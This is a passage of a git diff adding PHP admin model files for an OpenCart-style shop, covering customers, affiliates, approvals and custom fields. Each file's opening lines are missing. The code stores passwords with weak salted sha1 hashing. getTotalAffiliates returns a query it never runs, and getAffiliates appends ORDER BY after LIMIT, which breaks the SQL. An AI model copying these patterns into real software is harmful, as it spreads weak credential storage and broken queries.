+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCustomFieldDescriptions($custom_field_id) {
+ $custom_field_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_description WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ foreach ($query->rows as $result) {
+ $custom_field_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $custom_field_data;
+ }
+
+ public function getCustomFieldValue($custom_field_value_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value cfv LEFT JOIN " . DB_PREFIX . "custom_field_value_description cfvd ON (cfv.custom_field_value_id = cfvd.custom_field_value_id) WHERE cfv.custom_field_value_id = '" . (int)$custom_field_value_id . "' AND cfvd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomFieldValues($custom_field_id) {
+ $custom_field_value_data = array();
+
+ $custom_field_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value cfv LEFT JOIN " . DB_PREFIX . "custom_field_value_description cfvd ON (cfv.custom_field_value_id = cfvd.custom_field_value_id) WHERE cfv.custom_field_id = '" . (int)$custom_field_id . "' AND cfvd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY cfv.sort_order ASC");
+
+ foreach ($custom_field_value_query->rows as $custom_field_value) {
+ $custom_field_value_data[$custom_field_value['custom_field_value_id']] = array(
+ 'custom_field_value_id' => $custom_field_value['custom_field_value_id'],
+ 'name' => $custom_field_value['name']
+ );
+ }
+
+ return $custom_field_value_data;
+ }
+
+ public function getCustomFieldCustomerGroups($custom_field_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "custom_field_customer_group` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getCustomFieldValueDescriptions($custom_field_id) {
+ $custom_field_value_data = array();
+
+ $custom_field_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ foreach ($custom_field_value_query->rows as $custom_field_value) {
+ $custom_field_value_description_data = array();
+
+ $custom_field_value_description_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value_description WHERE custom_field_value_id = '" . (int)$custom_field_value['custom_field_value_id'] . "'");
+
+ foreach ($custom_field_value_description_query->rows as $custom_field_value_description) {
+ $custom_field_value_description_data[$custom_field_value_description['language_id']] = array('name' => $custom_field_value_description['name']);
+ }
+
+ $custom_field_value_data[] = array(
+ 'custom_field_value_id' => $custom_field_value['custom_field_value_id'],
+ 'custom_field_value_description' => $custom_field_value_description_data,
+ 'sort_order' => $custom_field_value['sort_order']
+ );
+ }
+
+ return $custom_field_value_data;
+ }
+
+ public function getTotalCustomFields() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "custom_field`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/customer/customer.php b/public/admin/model/customer/customer.php
new file mode 100644
index 0000000..826648a
--- /dev/null
+++ b/public/admin/model/customer/customer.php
@@ -0,0 +1,487 @@
+db->query("INSERT INTO " . DB_PREFIX . "customer SET customer_group_id = '" . (int)$data['customer_group_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', custom_field = '" . $this->db->escape(isset($data['custom_field']) ? json_encode($data['custom_field']) : json_encode(array())) . "', newsletter = '" . (int)$data['newsletter'] . "', salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "', status = '" . (int)$data['status'] . "', safe = '" . (int)$data['safe'] . "', date_added = NOW()");
+
+ $customer_id = $this->db->getLastId();
+
+ if (isset($data['address'])) {
+ foreach ($data['address'] as $address) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "address SET customer_id = '" . (int)$customer_id . "', firstname = '" . $this->db->escape($address['firstname']) . "', lastname = '" . $this->db->escape($address['lastname']) . "', company = '" . $this->db->escape($address['company']) . "', address_1 = '" . $this->db->escape($address['address_1']) . "', address_2 = '" . $this->db->escape($address['address_2']) . "', city = '" . $this->db->escape($address['city']) . "', postcode = '" . $this->db->escape($address['postcode']) . "', country_id = '" . (int)$address['country_id'] . "', zone_id = '" . (int)$address['zone_id'] . "', custom_field = '" . $this->db->escape(isset($address['custom_field']) ? json_encode($address['custom_field']) : json_encode(array())) . "'");
+
+ if (isset($address['default'])) {
+ $address_id = $this->db->getLastId();
+
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET address_id = '" . (int)$address_id . "' WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+ }
+ }
+
+ if ($data['affiliate']) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_affiliate SET customer_id = '" . (int)$customer_id . "', company = '" . $this->db->escape($data['company']) . "', website = '" . $this->db->escape($data['website']) . "', tracking = '" . $this->db->escape($data['tracking']) . "', commission = '" . (float)$data['commission'] . "', tax = '" . $this->db->escape($data['tax']) . "', payment = '" . $this->db->escape($data['payment']) . "', cheque = '" . $this->db->escape($data['cheque']) . "', paypal = '" . $this->db->escape($data['paypal']) . "', bank_name = '" . $this->db->escape($data['bank_name']) . "', bank_branch_number = '" . $this->db->escape($data['bank_branch_number']) . "', bank_swift_code = '" . $this->db->escape($data['bank_swift_code']) . "', bank_account_name = '" . $this->db->escape($data['bank_account_name']) . "', bank_account_number = '" . $this->db->escape($data['bank_account_number']) . "', custom_field = '" . $this->db->escape(isset($data['custom_field']) ? json_encode($data['custom_field']) : json_encode(array())) . "', status = '" . (int)$data['affiliate'] . "', date_added = NOW()");
+ }
+
+ return $customer_id;
+ }
+
+ public function editCustomer($customer_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET customer_group_id = '" . (int)$data['customer_group_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', custom_field = '" . $this->db->escape(isset($data['custom_field']) ? json_encode($data['custom_field']) : json_encode(array())) . "', newsletter = '" . (int)$data['newsletter'] . "', status = '" . (int)$data['status'] . "', safe = '" . (int)$data['safe'] . "' WHERE customer_id = '" . (int)$customer_id . "'");
+
+ if ($data['password']) {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "' WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "address WHERE customer_id = '" . (int)$customer_id . "'");
+
+ if (isset($data['address'])) {
+ foreach ($data['address'] as $address) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "address SET address_id = '" . (int)$address['address_id'] . "', customer_id = '" . (int)$customer_id . "', firstname = '" . $this->db->escape($address['firstname']) . "', lastname = '" . $this->db->escape($address['lastname']) . "', company = '" . $this->db->escape($address['company']) . "', address_1 = '" . $this->db->escape($address['address_1']) . "', address_2 = '" . $this->db->escape($address['address_2']) . "', city = '" . $this->db->escape($address['city']) . "', postcode = '" . $this->db->escape($address['postcode']) . "', country_id = '" . (int)$address['country_id'] . "', zone_id = '" . (int)$address['zone_id'] . "', custom_field = '" . $this->db->escape(isset($address['custom_field']) ? json_encode($address['custom_field']) : json_encode(array())) . "'");
+
+ if (isset($address['default'])) {
+ $address_id = $this->db->getLastId();
+
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET address_id = '" . (int)$address_id . "' WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+ }
+ }
+
+ if ($data['affiliate']) {
+ $this->db->query("REPLACE INTO " . DB_PREFIX . "customer_affiliate SET customer_id = '" . (int)$customer_id . "', company = '" . $this->db->escape($data['company']) . "', website = '" . $this->db->escape($data['website']) . "', tracking = '" . $this->db->escape($data['tracking']) . "', commission = '" . (float)$data['commission'] . "', tax = '" . $this->db->escape($data['tax']) . "', payment = '" . $this->db->escape($data['payment']) . "', cheque = '" . $this->db->escape($data['cheque']) . "', paypal = '" . $this->db->escape($data['paypal']) . "', bank_name = '" . $this->db->escape($data['bank_name']) . "', bank_branch_number = '" . $this->db->escape($data['bank_branch_number']) . "', bank_swift_code = '" . $this->db->escape($data['bank_swift_code']) . "', bank_account_name = '" . $this->db->escape($data['bank_account_name']) . "', bank_account_number = '" . $this->db->escape($data['bank_account_number']) . "', status = '" . (int)$data['affiliate'] . "', date_added = NOW()");
+ }
+ }
+
+ public function editToken($customer_id, $token) {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET token = '" . $this->db->escape($token) . "' WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+
+ public function deleteCustomer($customer_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_activity WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_affiliate WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_approval WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_history WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_reward WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_transaction WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_ip WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "address WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+
+ public function getCustomer($customer_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "customer WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomerByEmail($email) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "customer WHERE LCASE(email) = '" . $this->db->escape(utf8_strtolower($email)) . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomers($data = array()) {
+ $sql = "SELECT *, CONCAT(c.firstname, ' ', c.lastname) AS name, cgd.name AS customer_group FROM " . DB_PREFIX . "customer c LEFT JOIN " . DB_PREFIX . "customer_group_description cgd ON (c.customer_group_id = cgd.customer_group_id)";
+
+ if (!empty($data['filter_affiliate'])) {
+ $sql .= " LEFT JOIN " . DB_PREFIX . "customer_affiliate ca ON (c.customer_id = ca.customer_id)";
+ }
+
+ $sql .= " WHERE cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_email'])) {
+ $implode[] = "c.email LIKE '" . $this->db->escape($data['filter_email']) . "%'";
+ }
+
+ if (isset($data['filter_newsletter']) && !is_null($data['filter_newsletter'])) {
+ $implode[] = "c.newsletter = '" . (int)$data['filter_newsletter'] . "'";
+ }
+
+ if (!empty($data['filter_customer_group_id'])) {
+ $implode[] = "c.customer_group_id = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ if (!empty($data['filter_affiliate'])) {
+ $implode[] = "ca.status = '" . (int)$data['filter_affiliate'] . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "c.customer_id IN (SELECT customer_id FROM " . DB_PREFIX . "customer_ip WHERE ip = '" . $this->db->escape($data['filter_ip']) . "')";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $implode[] = "c.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(c.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " AND " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'name',
+ 'c.email',
+ 'customer_group',
+ 'c.status',
+ 'c.ip',
+ 'c.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getAddress($address_id) {
+ $address_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "address WHERE address_id = '" . (int)$address_id . "'");
+
+ if ($address_query->num_rows) {
+ $country_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "country` WHERE country_id = '" . (int)$address_query->row['country_id'] . "'");
+
+ if ($country_query->num_rows) {
+ $country = $country_query->row['name'];
+ $iso_code_2 = $country_query->row['iso_code_2'];
+ $iso_code_3 = $country_query->row['iso_code_3'];
+ $address_format = $country_query->row['address_format'];
+ } else {
+ $country = '';
+ $iso_code_2 = '';
+ $iso_code_3 = '';
+ $address_format = '';
+ }
+
+ $zone_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "zone` WHERE zone_id = '" . (int)$address_query->row['zone_id'] . "'");
+
+ if ($zone_query->num_rows) {
+ $zone = $zone_query->row['name'];
+ $zone_code = $zone_query->row['code'];
+ } else {
+ $zone = '';
+ $zone_code = '';
+ }
+
+ return array(
+ 'address_id' => $address_query->row['address_id'],
+ 'customer_id' => $address_query->row['customer_id'],
+ 'firstname' => $address_query->row['firstname'],
+ 'lastname' => $address_query->row['lastname'],
+ 'company' => $address_query->row['company'],
+ 'address_1' => $address_query->row['address_1'],
+ 'address_2' => $address_query->row['address_2'],
+ 'postcode' => $address_query->row['postcode'],
+ 'city' => $address_query->row['city'],
+ 'zone_id' => $address_query->row['zone_id'],
+ 'zone' => $zone,
+ 'zone_code' => $zone_code,
+ 'country_id' => $address_query->row['country_id'],
+ 'country' => $country,
+ 'iso_code_2' => $iso_code_2,
+ 'iso_code_3' => $iso_code_3,
+ 'address_format' => $address_format,
+ 'custom_field' => json_decode($address_query->row['custom_field'], true)
+ );
+ }
+ }
+
+ public function getAddresses($customer_id) {
+ $address_data = array();
+
+ $query = $this->db->query("SELECT address_id FROM " . DB_PREFIX . "address WHERE customer_id = '" . (int)$customer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $address_info = $this->getAddress($result['address_id']);
+
+ if ($address_info) {
+ $address_data[$result['address_id']] = $address_info;
+ }
+ }
+
+ return $address_data;
+ }
+
+ public function getTotalCustomers($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer c";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(firstname, ' ', lastname) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_email'])) {
+ $implode[] = "email LIKE '" . $this->db->escape($data['filter_email']) . "%'";
+ }
+
+ if (isset($data['filter_newsletter']) && !is_null($data['filter_newsletter'])) {
+ $implode[] = "newsletter = '" . (int)$data['filter_newsletter'] . "'";
+ }
+
+ if (!empty($data['filter_customer_group_id'])) {
+ $implode[] = "customer_group_id = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "customer_id IN (SELECT customer_id FROM " . DB_PREFIX . "customer_ip WHERE ip = '" . $this->db->escape($data['filter_ip']) . "')";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $implode[] = "status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getAffliateByTracking($tracking) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_affiliate WHERE tracking = '" . $this->db->escape($tracking) . "'");
+
+ return $query->row;
+ }
+
+ public function getAffiliate($customer_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_affiliate WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row;
+ }
+
+ public function getAffiliates($data = array()) {
+ $sql = "SELECT DISTINCT *, CONCAT(c.firstname, ' ', c.lastname) AS name FROM " . DB_PREFIX . "customer_affiliate ca LEFT JOIN " . DB_PREFIX . "customer c ON (ca.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql . "ORDER BY name");
+
+ return $query->rows;
+ }
+
+ public function getTotalAffiliates($data = array()) {
+ $sql = "SELECT DISTINCT COUNT(*) AS total FROM " . DB_PREFIX . "customer_affiliate ca LEFT JOIN " . DB_PREFIX . "customer c ON (ca.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ return $query->row['total'];
+ }
+
+ public function getTotalAddressesByCustomerId($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "address WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalAddressesByCountryId($country_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "address WHERE country_id = '" . (int)$country_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalAddressesByZoneId($zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "address WHERE zone_id = '" . (int)$zone_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCustomersByCustomerGroupId($customer_group_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addHistory($customer_id, $comment) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_history SET customer_id = '" . (int)$customer_id . "', comment = '" . $this->db->escape(strip_tags($comment)) . "', date_added = NOW()");
+ }
+
+ public function getHistories($customer_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT comment, date_added FROM " . DB_PREFIX . "customer_history WHERE customer_id = '" . (int)$customer_id . "' ORDER BY date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalHistories($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_history WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addTransaction($customer_id, $description = '', $amount = '', $order_id = 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_transaction SET customer_id = '" . (int)$customer_id . "', order_id = '" . (int)$order_id . "', description = '" . $this->db->escape($description) . "', amount = '" . (float)$amount . "', date_added = NOW()");
+ }
+
+ public function deleteTransactionByOrderId($order_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_transaction WHERE order_id = '" . (int)$order_id . "'");
+ }
+
+ public function getTransactions($customer_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_transaction WHERE customer_id = '" . (int)$customer_id . "' ORDER BY date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalTransactions($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_transaction WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTransactionTotal($customer_id) {
+ $query = $this->db->query("SELECT SUM(amount) AS total FROM " . DB_PREFIX . "customer_transaction WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalTransactionsByOrderId($order_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_transaction WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addReward($customer_id, $description = '', $points = '', $order_id = 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_reward SET customer_id = '" . (int)$customer_id . "', order_id = '" . (int)$order_id . "', points = '" . (int)$points . "', description = '" . $this->db->escape($description) . "', date_added = NOW()");
+ }
+
+ public function deleteReward($order_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_reward WHERE order_id = '" . (int)$order_id . "' AND points > 0");
+ }
+
+ public function getRewards($customer_id, $start = 0, $limit = 10) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_reward WHERE customer_id = '" . (int)$customer_id . "' ORDER BY date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalRewards($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_reward WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getRewardTotal($customer_id) {
+ $query = $this->db->query("SELECT SUM(points) AS total FROM " . DB_PREFIX . "customer_reward WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCustomerRewardsByOrderId($order_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_reward WHERE order_id = '" . (int)$order_id . "' AND points > 0");
+
+ return $query->row['total'];
+ }
+
+ public function getIps($customer_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_ip WHERE customer_id = '" . (int)$customer_id . "' ORDER BY date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalIps($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_ip WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCustomersByIp($ip) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_ip WHERE ip = '" . $this->db->escape($ip) . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalLoginAttempts($email) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "customer_login` WHERE `email` = '" . $this->db->escape($email) . "'");
+
+ return $query->row;
+ }
+
+ public function deleteLoginAttempts($email) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_login` WHERE `email` = '" . $this->db->escape($email) . "'");
+ }
+}
diff --git a/public/admin/model/customer/customer_approval.php b/public/admin/model/customer/customer_approval.php
new file mode 100644
index 0000000..f75a3c7
--- /dev/null
+++ b/public/admin/model/customer/customer_approval.php
@@ -0,0 +1,102 @@
+config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND CONCAT(c.`firstname`, ' ', c.`lastname`) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_email'])) {
+ $sql .= " AND c.`email` LIKE '" . $this->db->escape($data['filter_email']) . "%'";
+ }
+
+ if (!empty($data['filter_customer_group_id'])) {
+ $sql .= " AND c.`customer_group_id` = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ if (!empty($data['filter_type'])) {
+ $sql .= " AND ca.`type` = '" . $this->db->escape($data['filter_type']) . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(c.`date_added`) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $sql .= " ORDER BY c.`date_added` DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCustomerApproval($customer_approval_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "customer_approval` WHERE `customer_approval_id` = '" . (int)$customer_approval_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTotalCustomerApprovals($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "customer_approval` ca LEFT JOIN `" . DB_PREFIX . "customer` c ON (ca.`customer_id` = c.`customer_id`)";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(c.`firstname`, ' ', c.`lastname`) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_email'])) {
+ $implode[] = "c.`email` LIKE '" . $this->db->escape($data['filter_email']) . "%'";
+ }
+
+ if (!empty($data['filter_customer_group_id'])) {
+ $implode[] = "c.`customer_group_id` = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ if (!empty($data['filter_type'])) {
+ $implode[] = "ca.`type` = '" . $this->db->escape($data['filter_type']) . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(ca.`date_added`) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function approveCustomer($customer_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "customer` SET status = '1' WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_approval` WHERE customer_id = '" . (int)$customer_id . "' AND `type` = 'customer'");
+ }
+
+ public function denyCustomer($customer_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_approval` WHERE customer_id = '" . (int)$customer_id . "' AND `type` = 'customer'");
+ }
+
+ public function approveAffiliate($customer_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "customer_affiliate` SET status = '1' WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_approval` WHERE customer_id = '" . (int)$customer_id . "' AND `type` = 'affiliate'");
+ }
+
+ public function denyAffiliate($customer_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_approval` WHERE customer_id = '" . (int)$customer_id . "' AND `type` = 'affiliate'");
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/customer/customer_group.php b/public/admin/model/customer/customer_group.php
new file mode 100644
index 0000000..f93b4c9
--- /dev/null
+++ b/public/admin/model/customer/customer_group.php
@@ -0,0 +1,97 @@
+db->query("INSERT INTO " . DB_PREFIX . "customer_group SET approval = '" . (int)$data['approval'] . "', sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $customer_group_id = $this->db->getLastId();
+
+ foreach ($data['customer_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_group_description SET customer_group_id = '" . (int)$customer_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "'");
+ }
+
+ return $customer_group_id;
+ }
+
+ public function editCustomerGroup($customer_group_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer_group SET approval = '" . (int)$data['approval'] . "', sort_order = '" . (int)$data['sort_order'] . "' WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_group_description WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+
